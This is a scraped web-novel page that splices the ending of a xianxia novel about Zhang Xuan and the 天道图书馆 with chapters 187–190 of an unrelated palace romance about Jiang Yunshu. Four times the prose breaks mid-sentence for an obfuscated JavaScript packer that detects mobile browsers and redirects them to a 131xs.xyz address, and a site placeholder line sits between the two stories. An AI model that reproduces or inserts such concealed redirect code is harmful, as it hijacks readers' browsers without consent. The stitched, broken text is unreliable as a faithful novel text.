不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第187章 还得哄他 “怎么会是沈清睿?” 姜云舒眸光一沉,“这消息确定没错?” “没错,是从关捕头那儿来的消息,说是打了三十板子,罚了百两银。” 郭攀应着,顿了一下,压了压声音,“我还听说,那高氏有了身孕,八成是让沈二郎顶上的,啧,沈清安自己不管,让他弟弟顶上,这沈老二可真是沈家的牛马!” “身孕……” 姜云舒的手在桌上点着,一时间脑子里闪过白天师父以为高芝兰生病要帮她把脉时,高芝兰往后缩的那一下。 她是因为有了身孕,不想让师父号脉诊出来? 可这不像高芝兰的性子。 子嗣任何时候对于家族来说,都是大喜事,如今沈清安在外有乐无忧,高芝兰应该有强烈的危机感,如今这个孩子对于她来说是个翻身的机会,她为什么要瞒着? 姜云舒一时间想不明白,面色微沉,正想着,却听旁边一声轻咳。 她扭头,就见谢无烬也正看着他,他手中捻着杯盏,烛光之下,视线隐约透着一股说不上来的幽暗,丝丝缕缕奔向姜云舒。 姜云舒突然有种被牵动的错觉,她顿了一下,迎着谢无烬的视线看去。 “你想说什么?”她问。 谢无烬将杯盏放置桌上,探着身子往前凑了凑,“你喜欢孩子?” 这突如其来的问题,问得姜云舒一愣,随即反应过来,他该不会是以为自己听到高芝兰有孕而憋闷不痛快了吧? “不喜欢。”她没好气。 “唉!”谢无烬叹一口气,似乎略带遗憾,“我还想着,你若是喜欢,我这便写信请父王前去崖州,你……” “谢无烬!”姜云舒瞪他。 谢无烬迎着她的怒目,看着她,两人就这样,一个怒目圆瞪,一个唇畔含笑地较量了须臾,最后,姜云舒眸光一闪。 “听说,前几日元太妃进宫去找了皇后,请她对谢世子的婚事上上心,谢世子若是有闲,不如多关注关注昭阳宫的动静。”她扯了扯嘴角,露出一个皮笑肉不笑的表情。 谢无烬半眯着眼睛看她,随即轻笑着伸手在她额间弹了一下。 “知道了,我会让人盯着昭阳宫的动静,一旦有异常,立刻给你传信。” 这点小心机,明显还不遮掩,真真让他没了办法。 姜云舒挑了挑眉,那意思,那是你自己的事,可不是我让你干活。 谢无烬无奈,侧身抬头时,瞧见姜云舒的视线看向身侧墙壁上挂着的画,眸光微动。 “沈清睿这罪名虽说不上大,但到底会影响年底的政效,尤其如今皇上身边正是缺少人手的时候,这个机会,他没抓住。” 他一边说着,抬手端起杯盏喝一口润喉,又接着说:“听说御史中丞家的小儿子今年中了举,前两日着媒人去了顾家说亲,顾家主母不慈,你说,你那前小叔子和顾从容会不会劳燕分飞?” 他面上带笑,依旧那副玩世不恭的神情。 姜云舒瞧他看热闹不嫌事儿大的表情,微微抿了抿唇,指着刚才看的那幅画跟月禾吩咐。 “将这幅画取下来包好,月底顾大人生辰那日,送到顾家。” 那是前朝大家苏什迁的画,顾从容那个太常寺少卿的爹最喜欢苏什迁的风格。 月禾应声,上前将画取下来,转身时问:“咱们与顾家并无交情,这画以什么名义送呢。” 按说,朝中官员生辰礼节走动的多是公事相熟的,姜云舒本就生长在北域,除了平日里相熟的那些王公贵族,一般官员极少有相熟的,顾明杰寿辰也没有送礼的必要。 姜云舒垂眸思量瞬间,道:“顾从容如今在清风村做事,以她朋友的名义。” “是!” 月禾应声,将那幅画放在了锦盒之中。 谢无烬在旁边喝茶瞧着,又忍不住开口,“能让你对这前小叔子这么好,沈清睿得是多好的大善人。” 他瞧着姜云舒,言语之前带着酸意。 “善人算不上,勉强能称之为‘赤诚’。” 姜云舒抬手,捻起一块点心,“沈清睿与沈家其他人不同,是个明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145342|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辨是非的,我若能将他收于手下,很多事请做起来会方便许多。” 说完,她自己都不由得愣了一下。 为什么要跟他解释? 不得不说,刚才解释的几句话让谢无烬很受用,言语之间也没了刚才的酸意。 “放心,如今顾从容还算是从我渊政王府出去的人,本世子不开口,没有人能随便安排她的事。” 说着,他又往姜云舒跟前凑了凑,“我帮你这么大的忙,你准备怎么谢我?” “除了收下你的聘礼,其他随便提。”姜云舒朝他眨眨眼睛。 接触多次,她能想到的,谢无烬能提出来的要求,无非是吃一顿她亲手做的吃食,或者,从她身边拿一样东西,总之不会太过分。 也正是因为之前几次无足轻重,姜云舒也放松了警惕,谁知刚说完,就见他眉梢扬起,她暗叹一声不好。 “下个月崇光寺供灯**会,我要你陪我去一趟。”谢无烬开口。 姜云舒的表情在变了几变之后,震惊之色散开,归于平静。 就这? 刚才他那表情分明是在谋划什么,结果就只是陪他去供灯**会? 让姜云舒想不明白的是,谢无烬向来不信神佛,哪怕是崇光寺这种皇家大寺,在他眼里依旧不屑一顾,他怎么会对供灯**会有兴趣? 想不明白,姜云舒下意识开口要问,却被他突然伸过来的一根手指抵在了唇边。 “别问,只需答应便是。” 不知是他的声音太蛊惑,还是她自己心里乱了,下意识点点头。 翌日清晨。 窗外的晨光透过半开的窗户洒进来,光影斑驳地落在床帏上,威风轻轻掠过,仿若昨日的梦也被吹散。 许是心里装着事,姜云舒比往常醒的都早,唤月禾进来梳洗后便急匆匆出门准备去皇宫。 此时县主府门口的马车已经在等着,姜云舒出门正准备上,却听得急促的马蹄声自拐角处传来,她下意识抬头看去,马已经到了门口。 却是三皇子。 第188章 无事献殷勤 骏马稳稳停在县主府门口,三皇子伸手撩衣袍,翻身下马。 “见过三皇子。”姜云舒上前行礼。 “快别多礼。” 三皇子抬手去扶,却见姜云舒先一步起身,瞬间的尴尬自他脸上闪过,随即仿佛什么都没有发生。 “孤来给你送个信儿。”他冷峻的面上多了几分柔和,“母后与薛神医多年未见,难免叙旧,便留了她在昭阳宫小住一段时间,孤怕你担心,便来与你知会一声。” 姜云舒闻言,眸光微闪,心中暗自思量。 知道师父当年也算是和皇后并肩作战过,却不知道,她们的关系是可以留在皇宫小住的情分。 而且,留师父在昭阳宫小住说是情分其实也算命令,宫中没有知会自己的必要,尤其是一大清早三皇子亲自过来给信儿。 想着平日里面对自己时带着八百个心眼子的三皇子,姜云舒难免揣测,此时他又在打什么主意。 心中揣测自然不能表现出来,姜云舒勾了勾唇角,朝三皇子委身一礼。 “多谢殿下告知,此时清风村还有要事,若殿下没有旁的事,臣便先行告退。” 说着,县主府的马车拉了过来。 “正好,孤也是要去清风村的,不如,我们一路同去。” 说着,三皇子拍了拍自己的马,那意思是让姜云舒与他同乘。 姜云舒抿着唇,神色微微沉了几分。 且不说她并不习惯与人同乘,就往常与三皇子相处,姜云舒情愿离他远一些,更重要的是,有些人心眼小,若是…… 思绪刚过一半,姜云舒突然愣住,他心眼小与自己何干?她什么时候做事竟下意识考虑他的感受了? “之前的粮食已经下放,此时殿下去清风村可是有要事?”姜云舒退后一步,只当不明白他的意思。 说起粮食,之前她做局坑了三皇子的粮食,此时见面,三皇子应该恨不得撕了自己才对,他怎么忽然殷勤起来了? 她下意识考虑到,三皇子此时的变化应该与师父有关。 三皇子看出她的拒绝,此时却仿佛没了脾气,丝毫不在意。 “倒也不是什么大事,就是想过去看看此时清风村的情况,若还有需要,孤或可能助力一二。” 说着,他伸手要拉姜云舒上马,然而,就在他的手正要碰到姜云舒时,眼前一道影子闪过。 三皇子警觉后退一步,就见那黑鹰如一支离线的箭略过他朝着他旁边的骏马飞了过去。 骏马嘶鸣一声,前腿扬了起来,若非三皇子用力拽着,这马非得惊了不可。 姜云舒楞了一下,紧忙往后躲了躲以免波及自己。 真是好险! 三皇子原本以姜云舒是要过来帮忙,结果一扭头见她往后躲了,当即控制不住眼皮颤了颤。 这女人,连做做样子都懒得做! 许是瞧着三皇子眼神不善,等他控制住那马,姜云舒扯了扯嘴角,一脸无辜开口。 “殿下没事吧?这黑鹰属实野性难驯,为了殿下的安全,我们还是各自前往吧。” 姜云舒抬手将黑鹰召回,一边顺着鹰**,嘴里的话也不知是说给谁听,“都说了,这不是危险,你不能这样霸道不许别人靠近我啊!” 嗯,黑鹰护主,野性难驯寻,你再靠过来,它还得啄你,啄眼珠子! 三皇子瞪着此时歪着脑袋在姜云舒跟前撒娇的黑鹰,攥着缰绳的关节微微泛白。 一定是谢无烬,当初他就猜疑,谢无烬将黑鹰送给姜云舒的目的并非只是献殷勤,如今看来,他是要清空姜云舒周边能靠近她的人! 哼,区区一只野禽,等姜云舒不在时,射下来烤了吃! “既如此,我们便在清风村汇合。”三皇子瞪着黑鹰,咬牙切齿。 姜云舒行礼,目送着三皇子上马离开,这才转身上了马车。 马车上,姜云舒将装着肉的盒子拿出来,用钳子夹了肉送到黑鹰跟前。 “好孩子。”她夸。 黑鹰歪着头看了她一眼,脖子一伸,那肉便进了嘴。 姜云舒接连喂了黑鹰好几块,它吃饱后侧了侧身子,往姜云舒身侧一靠,睡着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145343|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 姜云舒:“……” 这可真是,什么人养什么鸟儿,这习惯跟谢无烬也太像了! 一炷香后,马车停在了清风村外。 姜云舒刚下马车,就见顾从容紧蹙着眉头朝她奔了过来。 “县主,听说他在京兆府受了刑,这到底是怎么回事?”顾从容眼眶红着到了跟前。 她在清风村消息来源有限,只知道那日沈清睿好好的回去,结果就被带去了京兆府,受了刑,罚了银子,此时还不知道怎么样。 “你先别急,不过是挨了板子,之后我让月禾送去金疮药,应该不会有什么大碍。”姜云舒宽慰着。 听她这样说,顾从容似乎才缓过一口气,随即又问:“这究竟是怎么回事,明明昨晚回去时还好好的……” 姜云舒神色微敛,叹一口气,将昨日的事大概地跟她说了一遍。 说完,又迎着顾从容那担忧紧张的表情,加重了语气,“且不说沈清睿,倒是你,我听说,前几日御史中丞家找媒人去了顾家。” “我……”顾从容神情闪了一下,“这件事爹爹也跟我说了,我告诉他,除了沈清睿谁都不嫁,他若是逼我,我就……” 话还没说完,却见姜云舒脸色一沉。 “男女情爱固然可贵,但是没有任何人值得你以贞洁名声,甚至生命为代价,这个世界上,没有人比你自己更重要。” 姜云舒的声音很轻,可出口的字字句句却如同钟撞一般,撞在她心上。 小时候,姨娘为了争冬日的炭火,告诉她要尽心讨好爹爹,这样弟弟才不会被冻死,她被嫡姐陷害进了渊政王府时,父亲让她讨好谢世子尽心侍奉,以免给顾家带来灾祸,在清风村被嘉奖时,爹爹又告诉她,要为顾家光耀门楣。 从来没有人告诉她,要为了她自己。 此时,顾从容看着姜云舒,眼神怔愣,似乎一时间没有明白过来。 姜云舒抬手拍了拍她的肩膀。 “你是从渊政王府出来的,谢世子未开口之前,便是你爹也不敢随便将你许给别人。” 第189章 表白 正说着话,就见不远处,几个巡逻的士兵朝这边走来。 姜云舒眯着眼睛瞧,认出领队的竟然是雷五。 “县主,真是你呀!” 雷五也过来打招呼,脸上堆着笑,“我就说你今日得过来,这不,还真遇上你了。” 自招安归于清风村后,黑云寨众人的生活逐渐步入正轨,在清风村虽不及山寨之中吃喝随意,但到底心里是踏实的。 “怎么样,来清风村这些日子可还习惯?”姜云舒朝雷五勾了勾唇。 “那可太习惯了!” 雷五咧着嘴笑,“这些年饥荒不断,别说受灾的村落,便是黑云寨也难免有分不公闹起来的时候,我可是少有时候看到清风村这般,大家的力气往一处使的场景了,不得不说,县主你是这个!” 说着,他抬手朝姜云舒伸了个大拇指。 姜云舒轻笑,此时看着天气逐渐暖和起来,赶着时节让灾民种下的小麦长势还算不错,大家在清风村吃到自己亲手劳作的第一茬粮食,才是清风村缓过来的第一步。 雷五顺着姜云舒的视线看去,似是想起什么,眸光一顿。 “说起来,如今前面开出来的田地,小麦也快到了抽穗的季节,可前日巡逻时,我发现了马孑蜂,这东西可是会吃麦穗的。”他忍不住提醒一句。 “马孑蜂?”姜云舒眸光闪过一抹锐色,“往年这边并没有马孑蜂的踪迹。” “我查过了,是因为城东种植了灵香草,灵香草和马孑蜂是共生的关系,若要灵香草能结果,马孑蜂必不可少,不过马孑蜂喜欢潮湿,以往都是在南方水汽大的地方才有,京城相对干旱,并没有自生的马孑蜂,若没猜错的话,这马孑蜂应该是有人故意投放的。” 雷五说话时,脸色也是逐渐凝重起来。 若是马孑蜂朝城南来,清风村的这片麦田怕是要颗粒无收。 提及城东的药田,姜云舒脑子里闪过的第一个信息便是之前沈清睿要回去的那块地了。 那几十亩良田临近护城河,也算是潮湿之地,而从乐无忧那边得来的消息,沈清安种植的药草也的确有灵香草。 呵,原本还无意与他为难,偏偏他却上赶着来找不痛快。 “好,这件事我后续会处理。” 姜云舒应声,正说着话,就听得村子门口传来一声骏马嘶鸣的声音。 三皇子到了。 到了跟前,三皇子的视线在四处扫视一圈,看到姜云舒才翻身下马。 “参见三殿下!” 众人紧忙行礼。 三皇子朝众人摆摆手,径自到姜云舒跟前。 “怎么样,清风村中可还有什么短缺的,尽管与孤明说,即便户部不批,也可以走孤的私账。” 这话入耳,姜云舒眼中不由得闪过一抹诧异。 今天的三皇子真真不对劲。 平日里相处,姜云舒知道三皇子手段利落,在这几个皇子之中,他的性子与皇上最为相近,为达目的可用尽身边所有可利用之人或者物。 她不相信,三皇子此番示好的目的是干净纯粹的。 许是姜云舒的防备未加掩饰,三皇子眸光软了软,自己坦白。 “你不用怀疑,孤的确是在向你示好,你是聪明的女子,应该能看得出来,如进行时,孤才是你的最优选择。” 说着,他往姜云舒跟前走近一步。 姜云舒未动,迎着他的视线,微微勾起唇角。 “听闻皇后娘娘想要定下的是太师府的庄二小姐做三皇子妃,臣不好横插一杠。” 身在官场,大家的立场并不难猜测。 皇后想要助力三皇子争夺那个位置,就需要母族的支持,而皇后与太师多年不和,这层关系总要修补的,此时娶娘家侄女为三皇子妃便是最好的途径。 三皇子需要太师府的助益,这门婚事自然也是优先要考虑的。 “那只是母后的想法,孤自会找机会禀告母后,你放心,母后对你赞赏有加,若是你,她定然会好好思量。”三皇子满面期待着看向姜云舒,似是在等她给一个肯定的回答。 姜云舒迎着三皇子的视线,很轻地勾了勾唇角。 “臣相信皇后娘娘对臣是欣赏的,但是,如今定国将军府已经倾覆,对三殿下并无助益,臣也并非良配,还请三殿下三思。” 说完,她下意识往后退了一步。 一个是权倾朝野的太师,一个是流放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157862|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的罪臣,且不说心机深沉的三皇子,便是一个无知小儿也知道应该投奔哪一门。 可让姜云舒诧异的是,她话都说到了这个地步,三皇子依旧没有退的意思。 “男儿大志,不应该只拘泥于那个位置,人活一世,如愿遂心才好,而对于孤来说,遂心的其一便是能与自己心悦之人携手。” 他说着又跟了一步,伸手去拉姜云舒。 姜云舒面色微沉,正要开口,却听得身后一声喝。 “姜云舒,你在这里!” 那声音很大,惊得姜云舒扭头,就见裴钰拎着个食盒朝她奔了过来。 “看,祖母亲手做的红梅酥!” 到了跟前,裴钰邀功一般举了举手里的食盒,比姜云舒还迫不及待的打开盖子。 食盒里是一叠精致的红梅酥,他小心意将碟子拿出来,正要往姜云舒跟前送,“恍然”发现三皇子也在。 “哟,三殿下也在呢,你吃不吃?”裴钰举了举手里的碟子。 三皇子的表白表了一半被打断,正不爽,开口拒绝。 “不必了,孤不喜甜食。” “哦,幸好你不吃,否则就不够我跟姜云舒分了!” 裴钰似乎松了一口气,也不看三皇子此时凌乱的表情,端着碟子送到姜云舒跟前。 “快尝尝,还热乎着呢!” 宁国府老太君今年有六十多岁,做得一手好吃的糕点,不过想吃她做的点心也不是什么容易的事儿,裴钰馋了好久都没央求到,最后还是拿姜云舒的名头这才哄得老太太下厨。 姜云舒也是真的馋这一口,两人当着三皇子的面儿还真就分起来了。 一边分着,裴钰似是想到什么,道:“过几日崇光寺供灯**会,你跟我们国公府一起去呗?” “今年青鸢姐姐回京,我是准备与她一同去的。”姜云舒回道。 “啊,也是!” 裴钰反应过来,抬手从姜云舒那一半里又拿了一块红梅酥,“那行吧,等供灯**会结束后咱们再聚。” 此时三皇子站在旁边,听得裴钰和姜云舒的话,锐利的眸中光芒一闪。 姜云舒也要去供奉**会,这不失为一个好机会! 第190章 挡路 四月十五,天朗气清,阳光洒在大地上,如同一片锦色的绸缎,温暖而明媚。 供灯**会,难得的好日子,正正是一个好天气。 清早,姜云舒在一阵清脆的鸟叫声中餍足地醒来。 月禾早已经准备好了要去崇光寺的衣服等在门外,听得姜云舒的声音,推门进去。 “昨晚小姐看账册到很晚,还以为今日得多睡一会儿,没成想,竟比往常还要早一些。”月禾一边说着,将漱口水送到跟前。 姜云舒漱了口将被子递给她,又接过擦脸的手巾。 “昨晚睡得好,竟连梦都没有,醒来也是清爽的。” 说着,她径自坐在铜镜前。 铜镜映照着面前的人,眉清目秀,双眸之间依旧染着一丝惺忪慵懒,仿佛恍惚之间又回到了那个在将军府无忧的日子。 只是此刻身边没有了父母兄长,难免多了一丝孤单。 孤单,自沈清安带高芝兰出现在她面前那一刻,她的确突然有了孤单的感觉。 那不是亲人。 月禾的手在姜云舒发间穿插,很快,一个俏丽又不失庄重的发髻便梳好了。 白芷将簪环钗钿端过来,给姜云舒选了几样,又送到月禾手上,两人配合默契,很快便侍奉着姜云舒洗漱好。 这日,郝管家早已命郭攀将太后赏赐的马车牵了出来,各处仔细检查一遍之后,才让人等在门口,只等姜云舒上了车,送了众人出门,这才松一口气。 姜云舒先去了恭王府接上闵青鸢,与恭王府的车队一起出发,朝着崇光寺的方向一路前行。 这日是供灯**会的大日子,不少高门贵族纷纷前往崇光寺,一路上难免遇上别家车队。 恭王府的马车便是在窄路在官道合并时,遇上了庆王府的马车。 庆王是亲王,属皇室家族,恭王府是外姓王,自当给庆王府让路,原本相互打个照面谁也不妨碍谁继续前行,可偏偏穆轻瑶瞧见是姜云舒,故意让车夫放慢速度,挡在姜云舒的马车前面。 官道汇合,本就是车流量比较大的时候,姜云舒的马车左右不能超越,一时间,两辆车竟横在了官道入口,将原本通畅的道路堵了个结实。 “这马车里是什么人,跟你有过节?”闵青鸢朝外面看一眼,眉心蹙起。 姜云舒手里捻着一片云片糕,小口地咬着。 “庆王府的三小姐,穆轻瑶,过节算不上,最多算是……她爱而不得,便把气撒在我身上,不必理会,她在这个时候作妖,自会有人收拾她。” 说着,又捻起一块红梅酥。 嗯,清晨赶着出门,都没来得及用早饭,如今吃着点心竟比往常味道更美一些。 闵青鸢看她,唇角微动,可最终还是没说什么,此时就听得马车外传来声音。 “哟,穆三小姐这是受了什么冤屈,要在官道上挡路?” 声音有些熟悉,姜云舒伸手掀开车帘,这才认出,说话的是太师府的嫡次女,庄心悦。 庄心悦这话里带着讽刺,穆轻瑶闻言脸色一沉。 “你看不出来吗,是姜云舒的马车抢路,便是恭王府也要礼让我庆王府,谁给你们的胆子要走在我的马车前面。” 说着话,她转身朝车夫一摆手,“还愣着做什么,我庆王府的车队都要走远了,还不赶紧动!” “呵,庆王府的礼数果真是大,可你也要看看,姜云舒他们乘坐的马车是什么来头!” 